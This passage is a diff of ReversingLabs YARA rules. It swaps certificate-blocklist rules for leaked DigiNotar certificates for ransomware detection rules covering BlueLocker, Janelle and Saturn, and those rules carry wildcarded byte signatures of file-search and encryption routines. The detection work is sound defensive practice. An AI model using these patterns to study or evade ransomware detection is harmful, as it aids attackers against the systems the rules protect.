"883e93bff42161ba68f69fb17f7e78377d7f3cb6b6cdf72cffb4166466f8bc7b" + logic_hash = "fbe5f246f4554e63b5da6a0aca169e8221a84fce18fd437ae7ad9b068e9ca576" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "BlueLocker" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DigiNotar Root CA" and pe.signatures [ i ] . serial == "0c:76:da:9c:91:0c:4e:2c:9e:fe:15:d0:58:93:3c:4c" and 1308182400 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_469C2Caf : INFO FILE -{ - meta: - description = "The digital certificate has leaked." - author = "ReversingLabs" - id = "12d7c4a8-0a84-502a-855b-674972a2e2e1" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L891-L907" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2490dbd74a5d3eede494d284f96af835c270d2fb0752b887aadbaf92bf34e6d4" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $encrypt_files_p1 = { + 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? 53 56 8B 75 ?? 57 + 8B 7D ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 56 89 55 ?? 89 75 ?? + 89 45 ?? 89 7D ?? FF 15 ?? ?? ?? ?? 8B D8 C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 53 FF 15 + ?? ?? ?? ?? 8B 55 ?? 33 C9 0B C8 89 55 ?? 89 4D ?? 83 FB ?? 75 ?? 0B C3 5F 5E 5B 8B + 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 6A ?? 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B + F0 FF 15 ?? ?? ?? ?? 33 C9 03 F0 83 C6 ?? 0F 92 C1 F7 D9 0B CE 51 E8 ?? ?? ?? ?? 8B + F0 83 C4 ?? 89 75 ?? 85 F6 0F 84 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 50 FF 75 ?? + 56 E8 ?? ?? ?? ?? 83 C4 ?? D1 E8 50 56 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 56 E8 + ?? ?? ?? ?? 83 C4 ?? D1 E8 50 56 E8 ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? 85 C9 0F 8C ?? ?? + ?? ?? 8B 45 ?? 0F 8F ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 85 C9 0F 8F ?? ?? + ?? ?? 7C ?? 3D ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 8B 55 ?? 8D + 4D ?? D1 E8 89 45 ?? E8 ?? ?? ?? ?? 0F B6 4F ?? 0F 57 C0 0F B6 47 ?? C1 E1 ?? 0B C8 + } + $encrypt_files_p2 = { + 66 0F 13 45 ?? 0F B6 47 ?? C1 E1 ?? 0B C8 C7 45 ?? ?? ?? ?? ?? 0F B6 07 C1 E1 ?? 0B + C8 C7 45 ?? ?? ?? ?? ?? 0F B6 47 ?? 89 4D ?? 0F B6 4F ?? C1 E1 ?? 0B C8 0F B6 47 ?? + 6A ?? 6A ?? FF 75 ?? C1 E1 ?? FF 75 ?? 0B C8 0F B6 47 ?? 8B 3D ?? ?? ?? ?? C1 E1 ?? + 0B C8 53 89 4D ?? FF D7 33 F6 8D 45 ?? 56 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 + ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 0F 1F 40 ?? FF 75 ?? BA ?? ?? ?? ?? 8D 4D ?? E8 + ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? 33 C0 F7 D9 13 C0 6A ?? 6A ?? F7 D8 50 51 53 FF D7 6A + ?? 8D 45 ?? 50 FF 75 ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? + 8B 45 ?? 03 F0 3B 75 ?? 0F 87 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 6A ?? 8D + 45 ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 85 C0 75 ?? E9 ?? ?? ?? + ?? 85 C9 7F ?? 7C ?? 3D ?? ?? ?? ?? 73 ?? 8B 75 ?? 8B CB 57 8B D6 E8 ?? ?? ?? ?? 8B + 3D ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8B 75 ?? 8B CB 57 8B D6 E8 ?? ?? ?? ?? 8B 3D + ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8B 55 ?? 8D 4D ?? E8 ?? ?? ?? ?? 0F B6 4F ?? 0F + } + $encrypt_files_p3 = { + 57 C0 0F B6 47 ?? C1 E1 ?? 0B C8 66 0F 13 45 ?? 0F B6 47 ?? C1 E1 ?? 0B C8 C7 45 ?? + ?? ?? ?? ?? 0F B6 07 C1 E1 ?? 0B C8 C7 45 ?? ?? ?? ?? ?? 0F B6 47 ?? 89 4D ?? 0F B6 + 4F ?? C1 E1 ?? 0B C8 0F B6 47 ?? 6A ?? 6A ?? FF 75 ?? C1 E1 ?? FF 75 ?? 0B C8 0F B6 + 47 ?? 8B 3D ?? ?? ?? ?? C1 E1 ?? 0B C8 53 89 4D ?? FF D7 8B 35 ?? ?? ?? ?? 8D 45 ?? + 6A ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF D6 85 C0 74 ?? FF 75 ?? BA ?? ?? ?? ?? + 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? 33 C0 F7 D9 13 C0 6A ?? 6A ?? F7 D8 50 51 + 53 FF D7 6A ?? 8D 45 ?? 50 FF 75 ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? + 81 7D ?? ?? ?? ?? ?? 72 ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF D6 + 85 C0 75 ?? 8B 75 ?? 6A ?? 0F 57 C0 6A ?? 66 0F 13 45 ?? FF 75 ?? FF 75 ?? 53 FF D7 + 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 C7 45 ?? ?? ?? ?? ?? 83 C4 ?? 89 55 ?? C7 + 45 ?? ?? ?? ?? ?? 85 D2 74 ?? 8B FA B9 ?? ?? ?? ?? F3 A5 8B 4D ?? 68 ?? ?? ?? ?? 8B + 01 8B 49 ?? 89 82 ?? ?? ?? ?? 8D 45 ?? 50 52 6A ?? 6A ?? 6A ?? FF 75 ?? 89 8A ?? ?? + ?? ?? FF 15 ?? ?? ?? ?? 8B 75 ?? 85 C0 74 ?? 6A ?? 8D 45 ?? 50 FF 75 ?? 56 53 FF 15 + ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 33 F6 EB ?? 83 CE ?? 85 DB 74 ?? 53 FF 15 ?? + ?? ?? ?? 8B 7D ?? 57 FF 75 ?? FF 15 ?? ?? ?? ?? EB ?? 8B 7D ?? 57 E8 ?? ?? ?? ?? 8B + 4D ?? 83 C4 ?? 8B C6 33 CD 5F 5E 5B E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $find_files_p1 = { + FF 74 B4 ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 46 83 + FE ?? 7C ?? FF 74 24 ?? FF D7 68 ?? ?? ?? ?? 8B F0 FF D7 03 F0 8D 84 24 ?? ?? ?? ?? + 6A ?? 50 FF D7 8D 0C 06 33 C0 83 C1 ?? 0F 92 C0 F7 D8 0B C1 50 E8 ?? ?? ?? ?? 8B F0 + 83 C4 ?? 85 F6 0F 84 ?? ?? ?? ?? FF 74 24 ?? FF D7 48 50 FF 74 24 ?? 56 E8 ?? ?? ?? + ?? 83 C4 ?? D1 E8 50 56 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 50 56 E8 ?? ?? + ?? ?? 83 C4 ?? D1 E8 50 56 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? + 83 C4 ?? D1 E8 50 56 E8 ?? ?? ?? ?? 8B 7C 24 ?? 83 C4 ?? 83 C7 ?? 57 FF 15 ?? ?? ?? + ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B C8 83 C4 ?? 85 C9 74 ?? 8B 54 24 ?? C7 01 ?? ?? ?? + ?? C7 41 ?? ?? ?? ?? ?? 83 7A ?? ?? 75 ?? 89 4A ?? 89 4A ?? 57 89 31 FF 15 ?? ?? ?? + ?? E9 ?? ?? ?? ?? 8B 42 ?? 89 48 ?? 8B 42 ?? 8B 40 ?? 89 42 ?? 89 30 57 FF 15 ?? ?? + ?? ?? E9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 33 F6 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 + ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? + ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 + ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? + ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 + ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? + ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF 74 B4 ?? 8D 84 24 + } + $find_files_p2 = { + 50 FF D3 85 C0 0F 85 ?? ?? ?? ?? 46 83 FE ?? 7C ?? 6A ?? FF 74 24 ?? FF D7 8B F0 8D + 84 24 ?? ?? ?? ?? 50 FF D7 03 F0 33 C0 83 C6 ?? 0F 92 C0 F7 D8 0B C6 50 E8 ?? ?? ?? + ?? 8B F0 83 C4 ?? 85 F6 0F 84 ?? ?? ?? ?? FF 74 24 ?? FF D7 48 50 FF 74 24 ?? 56 E8 + ?? ?? ?? ?? 83 C4 ?? D1 E8 50 56 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 50 56 + E8 ?? ?? ?? ?? 83 C4 ?? D1 E8 50 56 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 75 ?? 56 E8 ?? ?? ?? ?? EB ?? 6A ?? 6A ?? E8 ?? ?? + ?? ?? 8B D8 83 C4 ?? 85 DB 75 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 57 EB ?? 57 68 ?? ?? ?? + ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 53 6A ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? + 85 C0 74 ?? 8B 54 24 ?? 53 57 56 E8 ?? ?? ?? ?? 83 C4 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? + 57 E8 ?? ?? ?? ?? 83 C4 ?? 53 E8 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 83 C4 ?? 8B 35 ?? ?? + ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF 74 24 ?? FF 15 + } + $create_crypt_context = { + 55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? + ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 83 C8 ?? 8B 4D ?? 33 CD E8 ?? ?? ?? + ?? 8B E5 5D C2 ?? ?? 56 8B 35 ?? ?? ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? + ?? 6A ?? 50 FF D6 85 C0 75 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 50 8D 45 ?? 50 FF + D6 85 C0 75 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 50 8D 45 ?? 50 FF D6 85 C0 75 ?? + 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 50 8D 45 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 6A + ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 74 ?? 68 ?? ?? ?? ?? 56 6A ?? + FF 15 ?? ?? ?? ?? 8D 45 ?? 89 35 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? + 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D + 04 45 ?? ?? ?? ?? 50 FF 35 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? + ?? ?? ?? 85 C0 75 ?? 50 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? + ?? ?? ?? 8B 45 ?? 5E 85 C0 74 ?? 6A ?? 50 FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? + 33 C0 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DigiNotar Root CA" and pe.signatures [ i ] . serial == "46:9c:2c:af" and 1308182400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( $create_crypt_context ) and ( all of ( $encrypt_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_469C3Cc9 : INFO FILE +rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Janelle : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "The digital certificate has leaked." + description = "Yara rule that detects Janelle ransomware." author = "ReversingLabs" - id = "36d76a9f-d18f-56bf-b00a-f7320f04f39a" - date = "2020-08-05" - modified = "2023-11-08" + id = "4fef3be5-8332-5ce2-b1e9-3993e6963331" + date = "2021-12-16" + modified = "2021-12-16" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L909-L925" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.Janelle.yara#L1-L96" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7327b7cbeb616bc46c82975aed6b3ea1caafa74fd431e2d98ca55b00851e22c8" + logic_hash = "49f1eac82930606183ab9cf1d5c6c42534d58735876134793e9712e78eb5a4c7" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Janelle" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DigiNotar Root CA" and pe.signatures [ i ] . serial == "46:9c:3c:c9" and 1308182400 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_0A82Bd1E144E8814D75B1A5527Bebf3E : INFO FILE -{ - meta: - description = "The digital certificate has leaked." - author = "ReversingLabs" - id = "f3d7d714-8085-524a-814c-ab8cc59ceb4f" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L927-L943" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2534e58ce1e5adbb10dbacb664d40cc32faec341bdb93b926cc85b666cc7b77e" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $setup_env_p1 = { + 00 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 73 ?? ?? ?? ?? 0A 06 02 7D ?? ?? + ?? ?? 00 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 0B 07 72 ?? ?? ?? ?? 28 ?? ?? + ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C 2B ?? 08 6F + ?? ?? ?? ?? 74 ?? ?? ?? ?? 0D 00 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 6F ?? ?? ?? ?? 6F + ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 00 08 6F ?? ?? ?? ?? 2D ?? DE ?? 08 75 ?? ?? ?? ?? 13 ?? + 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? 00 DC 02 7B ?? ?? ?? ?? 16 6F ?? ?? ?? ?? 00 16 28 ?? + ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 FE 01 13 ?? 11 ?? 2C ?? 00 16 + 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 16 28 ?? + ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 28 ?? ?? ?? + ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 00 02 16 28 ?? ?? ?? ?? 00 00 28 ?? ?? ?? ?? 6F ?? + ?? ?? ?? 6F ?? ?? ?? ?? 16 FE 02 16 FE 01 13 ?? 11 ?? 2C ?? 00 28 ?? ?? ?? ?? 28 ?? ?? + ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? + 12 ?? 23 ?? ?? ?? ?? ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? + ?? 00 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 12 ?? 23 ?? ?? ?? ?? ?? ?? ?? ?? 28 ?? ?? ?? + ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 02 + } + $setup_env_p2 = { + 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 02 7B ?? ?? ?? ?? 28 ?? + ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 16 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? + ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 00 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 28 ?? ?? ?? + ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 2B ?? 00 16 28 ?? ?? ?? ?? 72 ?? + ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 16 28 ?? ?? ?? ?? 72 ?? ?? ?? + ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 + 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 28 ?? ?? ?? ?? 16 28 + ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 16 28 ?? ?? ?? ?? 72 ?? ?? + ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 + ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 00 28 ?? ?? ?? ?? 02 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? + ?? ?? ?? 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 16 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? + ?? ?? ?? 28 ?? ?? ?? ?? 00 16 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? + ?? 6F ?? ?? ?? ?? 00 06 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 7D ?? ?? ?? ?? 16 28 ?? ?? ?? ?? + 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 28 ?? ?? + ?? ?? 28 ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 + ?? 11 ?? 2C ?? 00 02 17 7D ?? ?? ?? ?? 06 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? + ?? 25 17 6F ?? ?? ?? ?? 00 6F ?? ?? ?? ?? 00 06 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 02 + 7B ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? + ?? ?? 00 00 2A + } + $find_files = { + 73 ?? ?? ?? ?? 0A 06 02 7D ?? ?? ?? ?? 06 04 7D ?? ?? ?? ?? 06 05 7D ?? ?? ?? ?? 00 00 + 03 28 ?? ?? ?? ?? 0B 00 07 0C 16 0D 2B ?? 08 09 9A 13 ?? 00 02 11 ?? 06 7B ?? ?? ?? ?? + 28 ?? ?? ?? ?? 00 00 09 17 58 0D 09 08 8E 69 32 ?? 06 7B ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? + 00 00 00 03 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 06 7D ?? ?? + ?? ?? 11 ?? 11 ?? 11 ?? 9A 7D ?? ?? ?? ?? 00 11 ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 + ?? ?? ?? ?? 25 17 6F ?? ?? ?? ?? 00 6F ?? ?? ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 ?? + 8E 69 32 ?? 00 DE ?? 13 ?? 00 72 ?? ?? ?? ?? 03 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 DE + ?? 00 00 DE ?? 26 00 72 ?? ?? ?? ?? 03 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 DE ?? 2A + } + $encrypt_files = { + 00 28 ?? ?? ?? ?? 0A 03 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 18 73 ?? ?? ?? ?? 0B 28 ?? ?? ?? + ?? 04 6F ?? ?? ?? ?? 0C 73 ?? ?? ?? ?? 0D 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 09 20 ?? + ?? ?? ?? 6F ?? ?? ?? ?? 00 09 18 6F ?? ?? ?? ?? 00 08 06 20 ?? ?? ?? ?? 73 ?? ?? ?? ?? + 13 ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 09 11 ?? 09 6F + ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 09 1A 6F ?? ?? ?? ?? 00 07 06 16 06 + 8E 69 6F ?? ?? ?? ?? 00 07 09 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 03 19 73 ?? ?? ?? + ?? 13 ?? 20 ?? ?? ?? ?? 8D ?? ?? ?? ?? 13 ?? 00 2B ?? 00 28 ?? ?? ?? ?? 00 11 ?? 11 ?? + 16 11 ?? 6F ?? ?? ?? ?? 00 00 11 ?? 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 25 13 ?? 16 FE + 02 13 ?? 11 ?? 2D ?? 11 ?? 6F ?? ?? ?? ?? 00 00 DE ?? 13 ?? 00 72 ?? ?? ?? ?? 11 ?? 6F + ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 DE ?? DE ?? 00 11 ?? 6F ?? ?? ?? ?? 00 + 07 6F ?? ?? ?? ?? 00 00 DC 2A + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DigiNotar Root CA G2" and pe.signatures [ i ] . serial == "0a:82:bd:1e:14:4e:88:14:d7:5b:1a:55:27:be:bf:3e" and 1308182400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $setup_env_p* ) ) and ( $find_files ) and ( $encrypt_files ) } - -rule REVERSINGLABS_Cert_Blocklist_469C2Cb0 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Saturn : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "The digital certificate has leaked." + description = "Yara rule that detects Saturn ransomware." author = "ReversingLabs" - id = "dd19b988-747d-55b9-825b-2ada1ca83691" - date = "2020-08-05" - modified = "2023-11-08" + id = "70a8d937-aee5-54d8-9409-c5d2d0830a2b" + date = "2020-10-19" + modified = "2020-10-19" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L945-L961" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Saturn.yara#L1-L105" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "67ff84475cbe231f97daa3ce623689e7936db8e56be562778f8a4c1ebf7bf316" + logic_hash = "efa748346ad8c46e654542d302e81d633a2d12f421636c477431a12a34636132" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Saturn" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DigiNotar Services 1024 CA" and pe.signatures [ i ] . serial == "46:9c:2c:b0" and 1308182400 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_4C0E636A : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "beb2039c-3b0e-5649-96ca-40175493e62c" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L963-L979" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "20169cf9ce3f271a22d1376bcf0ff0914f43937738c9ed61fd8e40179405136b" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $find_files_1 = { + 6A ?? C6 45 ?? ?? 8D 4D ?? 8B 3B 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? 3B C8 74 ?? + 83 78 ?? ?? 8B C8 72 ?? 8B 08 FF 70 ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? + ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 